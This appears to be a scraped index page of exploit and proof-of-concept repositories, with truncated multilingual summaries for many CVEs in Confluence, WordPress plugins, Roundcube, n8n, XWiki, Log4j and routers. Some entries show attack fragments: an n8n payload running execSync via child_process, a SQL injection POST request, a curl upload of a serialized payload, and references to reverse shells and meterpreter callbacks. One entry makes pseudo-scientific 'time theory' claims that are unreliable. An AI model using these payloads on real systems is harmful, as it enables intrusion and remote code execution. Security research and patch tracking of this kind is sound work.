CVE-2019-3396

CVE-2019-3396 CVE-2019-3396 confluence SSTI RCE 🔎 What is CVE-2019-3396? A critical Confluence bug Atlassian. Type: Template Injection + Path Traversal. Risk: Remote Code Execution RCE without login. Status: Exploited in the wild. 🛑 Affected Versions 6.6.0 → 6.6.11 ❌ vulnerable 6.6.12 ✅ fixed...

CVE-2019-25065-exploit

CVE-2019-25065 - POC これはCVE-2019-25065のPOCです - OpenNetAdmin v18.1.1のOSコマンドインジェクション エクスプロイトはbashで書かれており、linux環境をサポートしています。 kali linux 2024.4、およびUbuntu 22.04.5 LTSでテスト済みです。 依存関係: gridsite-clients debianパッケージ...

CVE-2024-1207

Booking Calendar = 9.9 - 未经验证的SQL注入（CVE-2024-1207） https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booking/booking-calendar-99-unauthenticated-sql-injection POC: root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerablesite.com User-Agent: Mozilla/5.0 Windows...

CVE-2023-4771

AJAX サンプルにおける CKEditor のクロスサイトスクリプティング脆弱性 CVE-2023-4771 PoC: AJAX サンプルにおける CKEditor 4 のクロスサイトスクリプティング XSS 脆弱性 このドキュメントでは、CKEditor を使用して XSS 脆弱性 CVE-2023-4771 を再現する方法について説明します。 以下の手順は、細心の注意を払って実行してください。 前提条件 • CKEditor インスタンスにアクセスできること。 ファイル: ckeditor/samples/old/ajax.html。 XSS 脆弱性の再現手順: CKEditor...

Security Bulletin: Vulnerabilities exists in IBM Cloud Pak for Data System (CPDS 1.0)

Summary Vulnerabilities exists in IBM Cloud Pak for Data System CPDS 1.0 addressed in 11.3.1.2-IF1 Vulnerability Details CVEID:CVE-2025-38527 DESCRIPTION: In the Linux kernel, the following vulnerability has been resolved: smb: client: fix use-after-free in cifsoplockbreak A race condition can...

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

hi CTT-Serverless-RCE-v1.0---収束時間理論強化MCPエクスプロイト Serverless Framework MCP Server CVE-2025-69256 基本スコア: 9.4/10 → CTT強化スコア: 9.9/10 Serverless FrameworkのMCP（Model Context Protocol）サーバーにおける重大なコマンドインジェクション脆弱性を、CTTの時間共鳴により前例のない信頼性と回避能力で強化したエクスプロイトです。 🌀 CTT-MCP-RCE v1.0 - 収束時間理論強化 Serverless Framework...

cve-2020-9006

CVE-2020-9006：Wordpress Popup-Builder 插件漏洞利用 用法： root@kitploit: Create and upload payload Also see: php create-serialized-payload.php -h $ php create-serialized-payload.php | curl -F 'sprunge=-' http://sprunge.us http://sprunge.us/XXXXXX Run exploit $ nmap --script ./cve-2020-9006 --script-args...

CVE-2024-58290-Xhibiter-SQLi

CVE-2024-58290-Xhibiter-SQLi 概念実証 PoC - Xhibiter NFT Marketplace 1.10.2 Collections Endpoint におけるSQLインジェクション。発見者: Sohel Yousef。 CVE-2024-58290: Xhibiter NFT Marketplace SQLインジェクション エクスプロイトタイトル: Xhibiter NFT Marketplace 1.10.2 - SQLインジェクション 認証不要 日付: 2024-12-11 エクスプロイト作者: Sohel Yousef ベンダーホームページ:...

CVE-2024-42009

CVE-2024-42009 – Roundcube存储型XSS（Docker PoC） 📌 概述 该仓库演示了针对 CVE-2024-42009 的有效概念验证（PoC），这是 Roundcube Webmail 中的一个存储型跨站脚本（XSS）漏洞。 该漏洞由不正确的 HTML 净化以及随后不安全地重新处理属性导致，攻击者可通过构造的 HTML 邮件注入恶意事件处理程序。 ⚠️ 受影响版本 Roundcube ≤ 1.5.7 Roundcube ≤ 1.6.7 🧠 漏洞摘要 Roundcube 会净化收到的 HTML 邮件，但随后会重新处理某些属性（例如...

CVE-2025-2011

CVE-2025-2011 PoC 作者： X3RX3S 但自豪地被 Ash Wesker 剥离，这家伙用他的横幅对 GPT 了我的代码 ; 看这里 --- https://github.com/Ashwesker/Blackash-CVE-2025-2011 你甚至可以在“他”的代码里看到我的 handle --' 目的： 一个概念验证工具，用于测试针对 WordPress 站点的 SQL 注入漏洞（CVE-2025-2011）。 免责声明： 仅用于您拥有 或已获得明确书面许可的系统。未经授权的测试是非法且不道德的。 关于漏洞 : WordPress 插件 Slider & Popup...

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

CVE-2025-68613-poc-via-copilot

✅ CVE-2025-68613 n8n 式注入 RCE 脆弱性の完全分析 日付 : 2024年12月23日 ステータス : ✅ RCE 完全検証成功 CVSS スコア : 10.0 深刻 🎉 成功した RCE ペイロード root@kitploit: function var require = this.process.mainModule.require; var execSync = require'childprocess'; return execSync'id', encoding: 'utf8'.trim; 実行結果 : システムユーザー情報（例: uid=1000n8n...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Webmin CGI命令注入远程代码执行漏洞...

CVE-2026-82592

D-Link 路由器 DIR-825M - /boafrm/formDiskFormat 中的缓冲区溢出 漏洞详情 详细信息 字段| 值 ---|--- 厂商| D-Link 产品| D-Link DIR-825M（以及共享同一固件代码库的其他型号） 受影响版本| 固件 v1.1.8 漏洞类型| 基于栈的缓冲区溢出（CWE-121）、命令注入（CWE-78） 厂商主页| https://www.dlink.com/ 漏洞描述 在对路由器固件进行安全审查时，在 /boafrm/formDiskFormat 端点中发现了一个严重漏洞。 该漏洞位于处理分区格式化的 sub46725C...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - 远程代码执行 RCE 服务端模板注入漏洞利用！！ 1. 标题 通过服务端模板注入（SSTI）在易受攻击的Web应用中实现远程代码执行 2. 描述 此利用脚本针对易受服务端模板注入（SSTI）攻击的Web应用。攻击者可通过利用该漏洞在服务器上执行任意命令。所提供的Python脚本通过提交触发反向Shell的有效载荷来自动化利用过程。 3. 漏洞信息 1. CVE ID: CVE-2024-32651 2. 受影响系统: 使用服务端模板注入（SSTI）且具有易受攻击配置的Web应用。 4. 概念验证...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 概念実証 これは、Log4Shell エクスプロイト用の LDAP サーバーと HTTP サーバーをホストするシンプルな POC を実行する個人プロジェクトです。 サーバー runservers.py は、LDAP リクエストに渡された Metasploit インスタンスにコールバックする、簡略化された meterpreter クライアントをセットアップします。これにより、meterpreter インスタンスは、Log4Shell エクスプロイトの影響を受けた元のプロセスのスレッド内で実行されます。 LDAP サーバーは...

cve-2025-11142-axis-mediaclip-rce

CVE-2025-11142 — AXIS mediaclip.cgi 操作系统命令注入 n-day 研究文章与 PoC — 针对 AXIS VAPIX Media Clip API 中 CVSS 7.1 操作系统命令注入漏洞的补丁后技术分析，通过黑盒测试针对 Axis 设备独立重新发现并验证。 Axis 官方公告未公布技术利用细节或公开 PoC（截至公告发布时，“Axis 不会提供有关该漏洞的更详细信息”，“目前没有公开已知的漏洞利用”）。本仓库记录了一项独立复现、基于证据的确认，仅在供应商修复（AXIS OS 12.7.36）普遍可用后发布。参见披露时间线。 摘要 | ---|---...

CVE-2025-14124

CVE-2025-14124 WordPress Team Plugin - 未認証SQLインジェクション 著者: Hyun Chiya 脆弱性情報...

xwiki-cve-2025-24893-exploit

XWiki CVE-2025-24893 漏洞利用工具 针对受 CVE-2025-24893 影响的 XWiki 版本的未认证远程代码执行（RCE）漏洞利用工具。 漏洞概述 15.10.9 之前的 XWiki 版本可通过 SolrSearch RSS 订阅源处理器中的 Groovy 脚本注入，受到未认证 RCE 漏洞的影响。该漏洞之所以存在，是因为 XWiki 未能正确清理 text 参数中的用户输入，从而允许攻击者突破 RSS 上下文并注入任意 Groovy 代码。 CVE 编号： CVE-2025-24893 CVSS 评分： 9.8（严重） 受影响版本： XWiki 示例：...

CVE-2026-27472-and-CVE-2026-27474

CVE-2026-27472 和 CVE-2026-27474（CVSS-B 5.3 中危 和 CVSS-B 4.8 中危） SPIP 4.4.8 联合功能中的盲 SSRF 及存储型 XSS 更多解释请访问我的网站 PoC 1. 以管理员身份登录。 2. 确保在 站点内容 配置中，站点引用与联合 设置为 管理网站目录。 3. 导航至某个栏目，然后点击 引用一个站点。 4. 在 联合 字段中，点击 联合 并输入目标 IP 和端口：tcp://127.0.0.1:22。 5. 保存。 6. 将响应时间与开放端口（tcp://127.0.0.1:80）进行对比。您也可以在被联合站点的页面上点击...